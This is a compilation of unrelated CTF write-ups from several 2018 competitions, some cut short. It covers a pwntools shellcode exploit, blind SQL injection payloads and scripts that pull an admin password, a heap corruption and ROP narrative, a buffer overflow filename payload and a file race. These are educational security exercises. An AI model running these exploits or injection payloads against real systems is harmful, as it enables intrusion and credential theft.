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## === beeper (Pwn: 47 solved / 303 pts) ===
1. Avoid conversion of the input string by `111` byte input.2. Login with the following password `"\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf"` .3. Leak the address of the mmap reserved area by using Remove and Show function.4. Change execution code to shell code by using `'m', 'u', 'h'` character.5. Execute shell code by "3.Buy a cell phone".
```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
password = "\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf"shellcode = "\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" exec_code = "\x68\x6f\x64\x20\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x75\x79\x20\x61\x20\x70\x68\x6f\x50\x48\xb8\x61\x6e"
BINARY = './beeper'
if len(sys.argv) > 1 and sys.argv[1] == 'r': s = remote('47.91.210.30', 23333)else: s = process(BINARY)
def Show(num): s.recvuntil("choice>>") s.sendline("1") s.recvuntil("number:") s.sendline(str(num))
def Remove(num): s.recvuntil("choice>>") s.sendline("2") s.recvuntil("remove?") s.sendline(str(num))
def Buy(): s.recvuntil("choice>>") s.sendline("3")
def Logout(): s.recvuntil("choice>>") s.sendline("4")
s.recvuntil("password:\n")s.sendline(password.ljust(111, '1'))
Remove(2)Remove(1)Remove(0)Show(1)
r = s.recv(0x24) # Leak mmap exec addressexec_addr = u64(r[0x1c:0x24])print "exec_addr =", hex(exec_addr)
Logout()
s.recvuntil("password:\n")buf = password.ljust(0x68, "A")buf += p64(exec_addr)
l1 = len(shellcode)for i in range(l1): if shellcode[i] > exec_code[i]: l2 = ord(shellcode[i]) - ord(exec_code[i]) for j in range(l2): buf += "m" else: l2 = ord(exec_code[i]) - ord(shellcode[i]) for j in range(l2): buf += "u" buf += "h"
buf += "\x00"s.sendline(buf)
Buy() # Exec shellcode
s.interactive()```
```N1CTF{5h3l1_c0d1n9_w17h_Hbf_1s_s0_e45y_233}``` |
# Mathgame (PPC, 714p, 9 solved)
This was a very annoying task.Conceptually it was actually pretty simple, but parsing the input was hard, and then it was randomly failing tests.The idea was that we have a cube 7x7x7 with numbers on the walls.There are 7 numbers which doesn't fit somehow.We need to find them, then connect them via lines, and two of such lines will be perpendicular and cross an internal cube.The task is to give coordinates of this internal cube.
It was not clear if the cube coordinates are counted from the middle or some other point, and also how to count intersection going through a wall.There were also test cases which had multiple solutions, or no solutions at all.Fortunately we had to solve only 5 examples to get the flag, so we simply run this in a loop for a while to get the flag.
The special numbers could be found with rules:1. even/odd2. even/odd3. primes/non-primes4. primes/non-primes5. 3 divisors / 2 divisors
The input was in form:
```================================================================================= Question Five=================================================================================
A------------------------------------------------------------------------------
|1328790233|2084499161|0696287693|1660138603|1157298553|2588563183|2357964443|------------------------------------------------------------------------------|3726747287|1521033083|3839283769|1661498821|1898692387|3135736403|1658923543|------------------------------------------------------------------------------|2326824881|2777671103|3099882481|2279475533|1765911347|2687755193|0339175751|------------------------------------------------------------------------------|1490623237|2618039657|1878850373|2081800027|1659998141|0532226311|1513689113|------------------------------------------------------------------------------|2003621209|3193816697|2664061769|3118907131|1743603311|1892309323|2909118241|------------------------------------------------------------------------------|2090511169|2726139389|2928378703|1563046193|2501788909|3227850023|3516251579|------------------------------------------------------------------------------|2331864553|1753491527|2239852117|2874087743|2656404403|2457493267|1891677913|------------------------------------------------------------------------------
****************************************************************************** B------------------------------------------------------------------------------|2357964443|3212428841|0432400201|1580443153|2362281367|2042152669|2248772021|------------------------------------------------------------------------------|1658923543|2238017741|2486241403|2087206861|3573698417|1884731227|2660729209|------------------------------------------------------------------------------|0339175751|1984116557|3212739667|1630709579|2630303411|1126220239|2723978393|------------------------------------------------------------------------------|1513689113|2379249491|2462656099|3278529689|3248454709|2452096897|1989718651|------------------------------------------------------------------------------|2909118241|2362922879|2319001897|3664496333|0287807791|2539914877|2944262089|------------------------------------------------------------------------------|3516251579|2069603141|2929374769|3001367287|3552535627|1737077239|2920954321|------------------------------------------------------------------------------|1891677913|1897008599|1607466241|2258608613|2605621531|2357919709|1621511029|------------------------------------------------------------------------------
****************************************************************************** C------------------------------------------------------------------------------|2248772021|2042152669|2362281367|1580443153|0432400201|3212428841|2357964443|------------------------------------------------------------------------------|2556179783|3083582137|2823299807|2982382943|2470982513|3766208269|2588563183|------------------------------------------------------------------------------|1279701343|1349891281|1631377337|2223472201|3043595761|3980677397|1157298553|------------------------------------------------------------------------------|2519143849|1332811691|3405530693|1462403983|3398349961|1933290613|1660138603|------------------------------------------------------------------------------|2881715209|2137626649|3365750909|1639321561|2501250923|1445581847|0696287693|------------------------------------------------------------------------------|3143410783|2063116669|3486766021|3058422299|3729039467|2252837863|2084499161|------------------------------------------------------------------------------|1338974471|4189292929|1755308323|3608715713|1160079631|3367242341|1328790233|------------------------------------------------------------------------------
****************************************************************************** D------------------------------------------------------------------------------|3235114681|2471203951|2709782587|1933809511|3129277721|2236589099|2331864553|------------------------------------------------------------------------------|2084508749|1206882367|1730418379|2182678481|1381552729|3469818697|1753491527|------------------------------------------------------------------------------|2832238313|2263125911|0480393457|2030207351|1893967217|2298743639|2239852117|------------------------------------------------------------------------------|1605350543|2398724927|2366655829|1861475303|1679976917|1588881649|2874087743|------------------------------------------------------------------------------|1949274161|3335731237|1715264021|2556690923|1572620113|1420979311|2656404403|------------------------------------------------------------------------------|1904118701|0809915627|1563823619|2756629699|4045257421|1755318067|2457493267|------------------------------------------------------------------------------|1621511029|2357919709|2605621531|2258608613|1607466241|1897008599|1891677913|------------------------------------------------------------------------------
****************************************************************************** E------------------------------------------------------------------------------|2248772021|2556179783|1279701343|2519143849|2881715209|3143410783|1338974471|------------------------------------------------------------------------------|2660729209|2208808709|2137179923|3467495971|2369408329|1417842847|2856461851|------------------------------------------------------------------------------|2723978393|2388231823|2931564319|3317731211|1993509377|2169053221|2057817481|------------------------------------------------------------------------------|1989718651|2251635973|1901557607|2165696801|3295570127|2353890053|2191693367|------------------------------------------------------------------------------|2944262089|2421919121|2310049853|3799873817|1785808949|2212685389|3431625541|------------------------------------------------------------------------------|2920954321|1548928189|1857980479|2371731689|2683816601|2536769041|3050435657|------------------------------------------------------------------------------|1621511029|1904118701|1949274161|1605350543|2832238313|2084508749|3235114681|------------------------------------------------------------------------------
****************************************************************************** F------------------------------------------------------------------------------|1338974471|4189292929|1755308323|3608715713|1160079631|3367242341|1328790233|------------------------------------------------------------------------------|2856461851|1830343831|2803179479|2540555291|1596370583|2428756193|3726747287|------------------------------------------------------------------------------|2057817481|1993397429|2212281713|2762599291|2213126341|2536883941|2326824881|------------------------------------------------------------------------------|2191693367|2253085969|2802701081|2338219649|1366065193|2054382947|1490623237|------------------------------------------------------------------------------|3431625541|2143610489|3419371091|2646546713|2317498357|2439885193|2003621209|------------------------------------------------------------------------------|3050435657|3676301219|3598318393|2810755349|3005050121|2401101617|2090511169|------------------------------------------------------------------------------|3235114681|2471203951|2709782587|1933809511|3129277721|2236589099|2331864553|------------------------------------------------------------------------------
******************************************************************************Use A to create a coordinate system(z == 0)
6^y | | | x |__________>0 6```
The solver code:
```pythonimport hashlibimport itertoolsimport reimport stringfrom gmpy2 import is_prime
import numpy
from crypto_commons.generic import get_primes, factor_pfrom crypto_commons.netcat.netcat_commons import nc, receive_until_match, send, interactive
def PoW(challenge): data = re.findall('"(.*?)"', challenge) prefix = data[0] result = data[1] for s in itertools.product(string.printable, repeat=4): st = "".join(s) if hashlib.sha256(prefix + st).hexdigest().startswith(result): return st return "dupa"
def parse_data(question_data): numbers = re.findall('\d+', question_data) numbers = map(int, numbers[:-4])
def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n]
def find_match(a, b): for x1, x2 in enumerate(a): for y1, y2 in enumerate(b): if x2 == y2: return (x1, y1) return None
DIRECTIONS = { 0: "UP", 1: "RIGHT", 2: "DOWN", 3: "LEFT" }
sides = chunks(numbers, len(numbers) / 6)
class Face():
def __init__(self, cubes): print("CONSTRUCTOR") self.cubes = list(reversed(list(chunks(cubes, 7)))) self.hashes = []
self.position = -1 self.calculate_hashes()
def calculate_hashes(self): self.hashes = []
hash_up = 0 for i in range(7): hash_up ^= self.cubes[0][i]
hash_right = 0 for i in range(7): hash_right ^= self.cubes[i][6]
hash_down = 0 for i in range(7): hash_down ^= self.cubes[6][i]
hash_left = 0 for i in range(7): hash_left ^= self.cubes[i][0]
self.hashes.append(hash_up) self.hashes.append(hash_right) self.hashes.append(hash_down) self.hashes.append(hash_left)
def turn_clockwise(self): print("Turn") length = len(self.cubes) - 1
for i in range(length / 2): for j in range(i, length - i): tmp = self.cubes[i][j]
self.cubes[i][j] = self.cubes[length - j][i] self.cubes[length - j][i] = self.cubes[length - i][length - j] self.cubes[length - i][length - j] = self.cubes[j][length - i] self.cubes[j][length - i] = tmp
self.calculate_hashes()
def print_face(self): for i in range(len(self.cubes)): print(' '.join([str(x) for x in self.cubes[i]])) print()
faces = [] for side in sides: f = Face(side) faces.append(f)
A = faces[0] SIDES = [None] * 4 TOP = None
for f in faces[1:]: print("new face") try: a_pos, f_pos = find_match(A.hashes, f.hashes) print(DIRECTIONS[a_pos], DIRECTIONS[f_pos])
SIDES[a_pos] = f
while a_pos != (f_pos + 2) % 4: f.turn_clockwise() a_pos, f_pos = find_match(A.hashes, f.hashes) print(DIRECTIONS[a_pos], DIRECTIONS[f_pos])
except TypeError: print("bee") TOP = f
# align top UP_POS, TOP_pos = find_match(SIDES[0].hashes, TOP.hashes) print(DIRECTIONS[UP_POS], DIRECTIONS[TOP_pos])
while UP_POS != (TOP_pos + 2) % 4: TOP.turn_clockwise() UP_POS, TOP_pos = find_match(SIDES[0].hashes, TOP.hashes) print(DIRECTIONS[UP_POS], DIRECTIONS[TOP_pos])
cubes = {}
# process bottom BOTTOM = A print("Bottom") for i in range(7): for j in range(7): x = i y = j z = 0
if (x, y, z) in cubes: assert cubes[(x, y, z)] == BOTTOM.cubes[j][i] cubes[(x, y, z)] = BOTTOM.cubes[j][i]
############################################################
BACK = SIDES[0] print("Front") for i in range(7): for j in range(7): x = i y = 0 z = 6 - j
if (x, y, z) in cubes: assert cubes[(x, y, z)] == BACK.cubes[j][i] cubes[(x, y, z)] = BACK.cubes[j][i]
############################################################
RIGHT = SIDES[1] print("Right") for i in range(7): for j in range(7): x = 6 y = j z = i
if (x, y, z) in cubes: assert cubes[(x, y, z)] == RIGHT.cubes[j][i] cubes[(x, y, z)] = RIGHT.cubes[j][i]
############################################################
FRONT = SIDES[2] print("Back") for i in range(7): for j in range(7): x = i y = 6 z = j
if (x, y, z) in cubes: assert cubes[(x, y, z)] == FRONT.cubes[j][i] cubes[(x, y, z)] = FRONT.cubes[j][i]
############################################################
LEFT = SIDES[3] print("Left") for i in range(7): for j in range(7): x = 0 y = j z = 6 - i
if (x, y, z) in cubes: assert cubes[(x, y, z)] == LEFT.cubes[j][i] cubes[(x, y, z)] = LEFT.cubes[j][i]
############################################################
TOP = TOP print("Top") for i in range(7): for j in range(7): x = i y = 6 - j z = 6
if (x, y, z) in cubes: assert cubes[(x, y, z)] == TOP.cubes[j][i] cubes[(x, y, z)] = TOP.cubes[j][i]
print(len((filter(lambda x: x % 2 == 0, cubes.values())))) print(cubes) return cubes
def find_specials(matrix): odds = list(filter(lambda x: x[1] % 2 == 1, matrix.items())) print(len(odds)) if len(odds) == 7: return odds evens = list(filter(lambda x: x[1] % 2 == 0, matrix.items())) print(len(evens)) if len(evens) == 7: return evens primes = list(filter(lambda x: is_prime(x[1]), matrix.items())) print(len(primes)) if len(primes) == 7: return primes non_primes = list(filter(lambda x: is_prime(x[1]) is False, matrix.items())) print(len(non_primes)) if len(non_primes) == 7: return non_primes primes = get_primes(1000000) three_divisors = list(filter(lambda x: len(factor_p(x[1], primes, 100000)[0]) == 3, matrix.items())) print(len(three_divisors)) if len(three_divisors) == 7: return three_divisors small = list(filter(lambda x: x[1] < 1000000000, matrix.items())) print(len(small)) if len(small) == 7: return small
def calculate_vector(start, end): return end[0] - start[0], end[1] - start[1], end[2] - start[2]
def calculate_vectors(specials): return [((points_pair[0], points_pair[1]), calculate_vector(points_pair[0], points_pair[1])) for points_pair in itertools.combinations(specials, 2)]
def dot_product(vector1, vector2): return numpy.dot(vector1, vector2)
def find_intersection(line1, line2): from shapely.geometry import LineString A, B = line1 C, D = line2 line1 = LineString([A, B]) line2 = LineString([C, D]) result = line1.intersection(line2) print('intersection', str(result)) if "POINT Z" in str(result): return tuple(map(int, map(numpy.round, map(float, re.findall("(\d+\.?\d*)", str(result)))))) else: return ()
def is_internal_cube(intersection): return reduce(lambda x, y: x and y, [0 < intersection[i] < 6 for i in range(3)])
def find_perpendicular_crossing(points): vectors = calculate_vectors(points) intersections = set() for vector_pair in itertools.combinations(vectors, 2): vector1, vector2 = vector_pair line1, v1 = vector1 line2, v2 = vector2 if v1 != v2 and line1[0] not in line2 and line1[1] not in line2: product = dot_product(v1, v2) if product == 0: print('perpendicular vectors', line1, v1, line2, v2) intersection = find_intersection(line1, line2) if len(intersection) > 0 and intersection not in line1 and intersection not in line2 and is_internal_cube(intersection): intersections.add(intersection) print('all internal intersections', intersections) return list(intersections)[0]
def main(): while True: try: s = nc("47.75.60.212", 11011) data = receive_until_match(s, "Please give me str", None) p = PoW(data) send(s, p) print(receive_until_match(s, "you will get the flag.", None)) while True: x = receive_until_match(s, "------------------------------------------------------------------------------", None) print(x) question_data = receive_until_match(s, "Please enter the coordinates of the answer:", None) print(question_data) if "N1CTF" in x or "N1CTF" in question_data: interactive(s) matrix = parse_data(question_data) specials = find_specials(matrix) print('specials', specials) specials_coords = [x[0] for x in specials] intersection_point = find_perpendicular_crossing(specials_coords) print('intersection at', intersection_point) for i in range(3): send(s, str(intersection_point[i])) except: pass
main()```
In the end the hardest part was parsing the input data and assigning coordinates to numbers.This was because the walls would have random rotations and random positions, so we had to match them by edges.After that the calculations were pretty simple:
1. Find special points2. Calculate vectors between each pair3. Find perpendicular vectors (dot product of such vectors is 0)4. Find intersection between two lines indicated by 4 points we have (2 points per vector)5. If intersection crosses an internal cube then consider this a proper solution
It took a couple of minutes but we finally got: `N1CTF{This_1s_a_1j_Math_Game4!}` |
I realized that since only 4 characters are unknown, instead of analyzing how it works, I could simply brute force it. There's Python implementation of the cipher:[Simon Speck Ciphers]([https://github.com/inmcm/Simon_Speck_Ciphers)
```import itertools
from simon import SimonCipherimport tqdm
plain = 0x6d564d37426e6e71cipher = 0xbb5d12ba422834b5
chars = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_!?:;'
for d in tqdm.tqdm(itertools.product(chars, repeat=4)): c = SimonCipher(int.from_bytes(b'SECCON{'+bytes(d)+b'}','big'),key_size=96,block_size=64) if c.encrypt(plain) == cipher: print(d) break
```This gives the flag: `SECCON{6Pz0}` |
# ▼▼▼77777(Web:172/517=33.2%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```"77777" is my girlfriend's nickname，have fun xdd:)hk node: http://47.75.14.48cn node: http://47.97.168.223(Two challenge servers are identical, use either of them.)
【Hints】 If you think you have got the flag and have trouble submitting the flag, please try again with lowercase letters in the flag and N1CTF{} wrapped.
For those who suffers from getting blocked, try http://47.97.168.223:23333 and http://47.75.14.48:23333 instead. We sincerely apologize for the inconvenience caused.```
---
```U can update my points in Profile. and And the flag is `admin's password`:)```
---
The source code on the site was published in the image.
↓
```function updata_point($p,$points){ global $link; $q = sprintf("UPDATE users SET points=%d%s", $p,waf($points)); if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE;}if(!update_point($_POST['flag'],$_POST['hi'])) echo 'sorry';```
↓
SQL injection available as `$points`!! However, WAF exists!!
---
In the comparison of 1,0, the content displayed in the response is not stable as it is calculated from seconds.
Blind SQL injection at 1,0 looks difficult.
---
`flag=1&hi=1|(select NULL)` ⇒ <grey>My Points</grey> | `NULL`
↓
`flag=t&hi=0||(select case when 1 then NULL else 1 end)` ⇒<grey>My Points</grey> | `NULL`
`flag=t&hi=0||(select case when 0 then NULL else 1 end)` ⇒<grey>My Points</grey> | `1`
↓
Blind SQL injection using NULL is possible.
---
**【Identify column names】**
`flag=t&hi=0||(select case when 0 then NULL else 1 end where ttttt like 1)` ⇒<grey>My Points</grey> | `1`
`flag=t&hi=0||(select case when 0 then NULL else 1 end where id like 1)` ⇒ <grey>My Points</grey> | `NULL`
↓
Column name can be specified
The `id` column exists
---
Similarly carried out
↓
The `username` column exists
The `password` column exists
↓
In summary, it turned out that `id`, `username`, `password` exists
---
**【Distinction between uppercase and lowercase letters】**
We decide to use `ord()` to distinguish between uppercase and lowercase letters
↓
`0*(select case when (ord(substr(password,1,1))>1) then NULL else 1 end)`
---
**【Confirm the number of data】**
`flag=1&hi=1*(select case when (select id<2) then NULL else 1 end)` ⇒<grey>My Points</grey> | `NULL`
`flag=1&hi=1*(select case when (select id>1) then NULL else 1 end)` ⇒<grey>My Points</grey> | `11`
↓
Apparently there seems to be only one data. It was difficult if it was 2 pieces.
---
**【exploit】**
↓
```flag=1&hi=1*(select case when ord(substr(password,1,1))>104 then NULL else 1 end) 104 hflag=1&hi=1*(select case when ord(substr(password,2,1))>101 then NULL else 1 end) 100 eflag=1&hi=1*(select case when ord(substr(password,3,1))>108 then NULL else 1 end) 108 lflag=1&hi=1*(select case when ord(substr(password,4,1))>108 then NULL else 1 end) 108 lflag=1&hi=1*(select case when ord(substr(password,5,1))>111 then NULL else 1 end) 111 oflag=1&hi=1*(select case when ord(substr(password,6,1))>99 then NULL else 1 end) 99 cflag=1&hi=1*(select case when ord(substr(password,7,1))>116 then NULL else 1 end) 116 tflag=1&hi=1*(select case when ord(substr(password,8,1))>102 then NULL else 1 end) 102 fflag=1&hi=1*(select case when ord(substr(password,9,1))>101 then NULL else 1 end) 101 eflag=1&hi=1*(select case when ord(substr(password,10,1))>114 then NULL else 1 end) 114 rflag=1&hi=1*(select case when ord(substr(password,11,1))>50 then NULL else 1 end) 50 2flag=1&hi=1*(select case when ord(substr(password,12,1))>51 then NULL else 1 end) 51 3flag=1&hi=1*(select case when ord(substr(password,13,1))>51 then NULL else 1 end) 51 3flag=1&hi=1*(select case when ord(substr(password,14,1))>51 then NULL else 1 end) 51 3flag=1&hi=1*(select case when ord(substr(password,15,1))>51 then NULL else 1 end) 51 3flag=1&hi=1*(select case when ord(substr(password,16,1))>20 then NULL else 1 end) ```
↓
`N1CTF{helloctfer23333}` |
## 77777 2 (Web, 208pt)
> Contestants won't influence each other while solving the challenge.> > http://47.52.137.90:20000
The task was quite similar to [77777](../77777-104/README.md) with some small differences.
The About tab has changed a bit.
```U can update my points in Profile.
and And the flag is `admin's pw`:)```
The `update_point()` function remains exactly the same but we guess that the `waf()` function is less permissive this time.
```phpfunction update_point($p, $points){ global $link; $q = sprintf("UPDATE users SET points=%d%s, $p, waf($points)"); if(!$query = mysqli_query($link, $q)) return FALSE; return TRUE;}if(!update_point($_POST['flag'], $_POST['hi'])) echo 'sorry';```
Fuzzing the `waf()` for character limitations, we see that only the following characters are allowed:
```[+] 0, 1, 6, 7, 8[+] a-z (not 'j')[+] A-Z (not 'J')[+] " # $ ' ( ) * + , - . : ; > ? @ [ \ ] _ { | }[+] \s```
Some MySQL functions have also been restricted. What took more time in this challenge, was to realize that the column name that we had to extract was `pw` and not `password` as before (see About tab). After realing this, we issued the following request to determine password length.
```POST / HTTP/1.1Host: 47.75.14.48Content-Type: application/x-www-form-urlencodedContent-Length: 23Connection: close
flag=1&hi=*length( pw )```
The `waf()` function did not allow the `pw` keyword to be prefixed or followed by any characters apart from whitespaces. So, we put spaces before and after, to bypass it.
Knowing the length and having bypassed the `pw` filtering, we can retrieve full password using a payload such as:
```flag=1&hi=*convert(hex(substr( pw ,BINARY_INDEX,1)),signed)```
The solution is automated in the [solve.py](solve.py) script.
```pythonimport reimport requests
_target = 'http://47.52.137.90:20000/'
def extract_points(html): return re.search(r'<grey>My Points</grey> \| ([0-9]+)', html).group(1).strip()
def get_pw_len(): d = {'flag': '1', 'hi': '*length( pw )'} resp = requests.post(_target, data=d) return int(extract_points(resp.text))
flag = ''for i in range(1,get_pw_len()+1): d = {'flag': '1', 'hi': '*convert(hex(substr( pw ,0b{0:b},1)),signed)'.format(i)} resp = requests.post(_target, data=d) flag += chr(int(extract_points(resp.text), 16)) print flag
print '[+] flag: N1CTF{{{}}}'.format(flag)```
```❯❯❯ python solve.pyhhahahhahahahahhahah7hahah77hahah777hahah777ahahah777a7hahah777a7ahahah777a7ahhahah777a7ahahahah777a7aha7hahah777a7aha77hahah777a7aha777hahah777a7aha7777hahah777a7aha77777hahah777a7aha77777ahahah777a7aha77777aahahah777a7aha77777aaahahah777a7aha77777aaaa[+] flag: N1CTF{hahah777a7aha77777aaaa}``` |
## 77777 (Web, 104pt)
> "77777" is my girlfriend's nickname，have fun xdd:)> > hk node: http://47.75.14.48> > cn node: http://47.97.168.223> > (Two challenge servers are identical, use either of them.)
In the About tab we see the following.
```U can update my points in Profile.
and And the flag is `admin's password`:)```
There was a Somecode tab that gave us the following code.
```phpfunction update_point($p, $points){ global $link; $q = sprintf("UPDATE users SET points=%d%s, $p, waf($points)"); if(!$query = mysqli_query($link, $q)) return FALSE; return TRUE;}if(!update_point($_POST['flag'], $_POST['hi'])) echo 'sorry';```
It seems like a straight-forward SQL injection in the `UPDATE` statement and we can extract data from the Profile tab. So, the only black-box here is the `waf()` method. After fuzzing the vulnerable request to see what character limitations had been put in place, there were actually none. Only some functions were filtered. Initially, we retrieve the length of the password.
```POST / HTTP/1.1Host: 47.75.14.48Content-Type: application/x-www-form-urlencodedContent-Length: 27Connection: close
flag=1&hi=*length(password)```
Knowing the length, we can retrieve full password using a payload such as:
```flag=1&hi=*ord(substr(password,INDEX,1))```
The solution is automated in the [solve.py](solve.py) script.
```pythonimport reimport requests
_target = 'http://47.75.14.48/'
flag = ''for i in range(1,16): d = {'flag': '1', 'hi': '*ord(substr(password,{},1))'.format(i)} resp = requests.post(_target, data=d) flag += chr(int(re.search(r'<grey>My Points</grey> \| ([0-9]+)', resp.text).group(1).strip())) print flag
print '[+] flag: N1CTF{{{}}}'.format(flag)```
```❯❯❯ python solve.pyhhehelhellhellohellochellocthelloctfhelloctfehelloctferhelloctfer2helloctfer23helloctfer233helloctfer2333helloctfer23333[+] flag: N1CTF{helloctfer23333}``` |
LFA Challenge,
Ruby native extension running inside a sandbox ruby interpreter
the sandbox prevents all syscalls not needed to ruby to execute properly after the runtime has been initialized and only allows the readv syscall. As the server actually opens the flag file and dups it to fd 1023, it should have been clear that the goal is to execute a readv syscall on fd 1023
the native extensions provides a segment based array implementation with a special case where the base segment is inlined, it also uses a length property like JS engines to keep track of the latest index set, this allows for a fast bailout when accessing indices above or equal to that value.
the bug is that when we delete an element which renders a segment empty, it will try to re-inline the remaining segment if it is the segment starting at index 0 but it does not update the length which gives us a heap OOB R/W
The goal of this challenge was to give a powerful primitive but which was not enough to just directly get an arbitrary R/W in order to give people freedom in how to proceed to get there
My exploit then works by spraying a lot of strings, due to the ways string are represented internally we can lineraly scan the heap to find objects that look like our strings.
in order to be sure we corrupted a string, I overwrite the pointer buffer LSB with a null byte, this guarantees that it will still point to a valid address but when checking the first characters, we can check if we get the original string or garbage,
so now we have an arbitrary R/W
We need a libc address, the way to do it is to once again scan the heap for what looks like library pointers. it turns out that the way ptmalloc2 works, with close to 100% chance (I never had this fail actually) there will be a pointer with an offset corresponding to `main_arena+88` on the heap.
Then we can leak the stack by reading `program_invocation_name`
Then we can stack the scan backwards to find the `__libc_start_main` address on the stack which is the return address of `main` and write our rop chain there.
the exploit might fail from time to time due to ASCII - UTF8 conflict but is 90% stable.
|
# Welcome to droid (Re, 635p, 24 solved)
[PL](#pl-version)
In the task we get [android application](droid.apk) to work with.Once we reverse the sources, it seems we need to pass some checks to reach the flag.However one of the checks is:
```javapublic String m4832k() { char[] cArr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i = 0; i < 20; i++) { stringBuffer.append(cArr[random.nextInt(cArr.length)]); } return stringBuffer.toString();}```
And sice it's using random values, it's very unlikely we can pass it.We could try to patch the code, but it's a lot of fuss.If we could pass all the checks the code that shows the flag is:
```javathis.f3092l = (EditText) findViewById(R.id.editText);this.f3092l.setText(stringFromJNI());```
So it calls a single function from the native library shipped with the app.The function is pretty much unreversable, way to complex, but we don't need that.We can simply load this library and call the function, without all silly checks!
In order to do that we create a new android project (we actually used NDK example) with Android Studio, create a new Activity, but keeping all the names and packages the same, and write code:
```javapackage com.example.puing.a2018codegate;
import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.widget.TextView;
import java.util.logging.Logger;
public class Main4Activity extends AppCompatActivity { static { System.loadLibrary("hello-libs"); }
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); String flagString = stringFromJNI(); tv.setText(flagString); setContentView(tv); Logger.getLogger("flagLogger").info(flagString); }
public native String stringFromJNI();}```
We modify the build.gradle for libs to include our .so files:
```sourceSets { main { // let gradle pack the shared library into apk jniLibs.srcDirs = ['../distribution/gperf/lib', '../distribution/droid/lib'] }}```
And we're good to go.We can just run the app and get:
So the flag is: `FLAG{W3_w3r3_Back_70_$3v3n7een!!!}`
### PL version
W zadaniu dostajemy [aplikację androidową](droid.apk).Po zdekompilowaniu i analizie źródeł widać, że musimy przejść kilka testów żeby dostać flagę.Niestety jeden z nich to:
```javapublic String m4832k() { char[] cArr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i = 0; i < 20; i++) { stringBuffer.append(cArr[random.nextInt(cArr.length)]); } return stringBuffer.toString();}```
A skoro używa losowych wartości to jest mała szansa że uda się go przejść.Moglibyśmy spróbować patchować ten kod, ale to dużo roboty.Gdybyśmy przeszli testy to za wyświetlenie flagi odpowiada:
```javathis.f3092l = (EditText) findViewById(R.id.editText);this.f3092l.setText(stringFromJNI());```
Więc wołana jest jedna funkcja z natywnej biblioteki dostarczonej z aplikacją.Sama funkcja jest praktycznie nie do zreversowania, zbyt skomplikowana, ale nie musimy tego robić.Możemy po prostu załadować sobie tą bibliotekę i wywołać funkcje, bez żadnych testów!
Żeby to zrobić stworzyliśmy nowy projekt androidowy (użyliśmy jako szablonu przykładowego kodu z NDK) w Android Studio, stworzyliśmy własne Activity, pozostawiając takie same nazwy klas i pakietów i napisaliśmy kod:
```javapackage com.example.puing.a2018codegate;
import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.widget.TextView;
import java.util.logging.Logger;
public class Main4Activity extends AppCompatActivity { static { System.loadLibrary("hello-libs"); }
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); String flagString = stringFromJNI(); tv.setText(flagString); setContentView(tv); Logger.getLogger("flagLogger").info(flagString); }
public native String stringFromJNI();}```
Musieliśmy też zmodyfikować build.gradle dla bibliotek, żeby uwzględnić nasze pliki .so:
```sourceSets { main { // let gradle pack the shared library into apk jniLibs.srcDirs = ['../distribution/gperf/lib', '../distribution/droid/lib'] }}```
I pozostało już tylko uruchomić aplikację i dostać:
Więc flaga to `FLAG{W3_w3r3_Back_70_$3v3n7een!!!}` |
Upon running the binary you are prompted to enter password. You may find it laying down in disassembly. iirc it's `kaiokenx20`. Then it's asks which "application" to show you. If you select `7` ("Flag") it exits with `Not enough permissions` message. Attack vector is buffer overflow of password as memory for filename is right next to it. One small thing is strlen check for length of filename so you can't just throw `flag.txt` inside. Required length is 36 symbols, so you may pad your filename with `./`. Final overflow would be `kaiokenx20AAAAAA././././././././././././././././flag.txt`. |
# CRLD (Pwn 500 pts)## Short VersionYour classic file access race condition.1) In one process create a file with whatever contents, link the same filename to the flag file then delete the link, continue loop2) In a separate thread try to read the file in a loop3) Run until the flag prints out
The idea here is we will trick the program into calling read inbetween the create file and link call, then after the check to make sure we are not accessing the flag file, link will be called from a separate thread just as we open the file and it will write out the contents of the flag file before delete is called.
## Longer Version[https://github.com/mrchisel14/CTFs/tree/master/2018/EVLZCTF2018/CRLD](https://github.com/mrchisel14/CTFs/tree/master/2018/EVLZCTF2018/CRLD) |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/pragyan_2018_pictorial_mess/](http://www.aperikube.fr/docs/pragyan_2018_pictorial_mess/)
-----
# TL;DR
In this task we had analyze 7 images. Both of them had messages hidden in their LSB (discovered with Stegsolve By Caesum).
The extracted message was "Make me Tall". Due to this message, we increased the images height of 25px.
This task has been accomplished with TweakPng but could be accomplished by editing the hexa of the file.
Increasing the size show us 7 new line with white and black square (0 and 1).
We extracted the 7 line and took each first square then each second square...
The flag was coded in the extracted coloumns, in ascii (7 bits). |
# [CTF THCON18] Write-Up - Call less reverse (250 points)
## Description
Le challenge est un éxécutable linux 64bits:
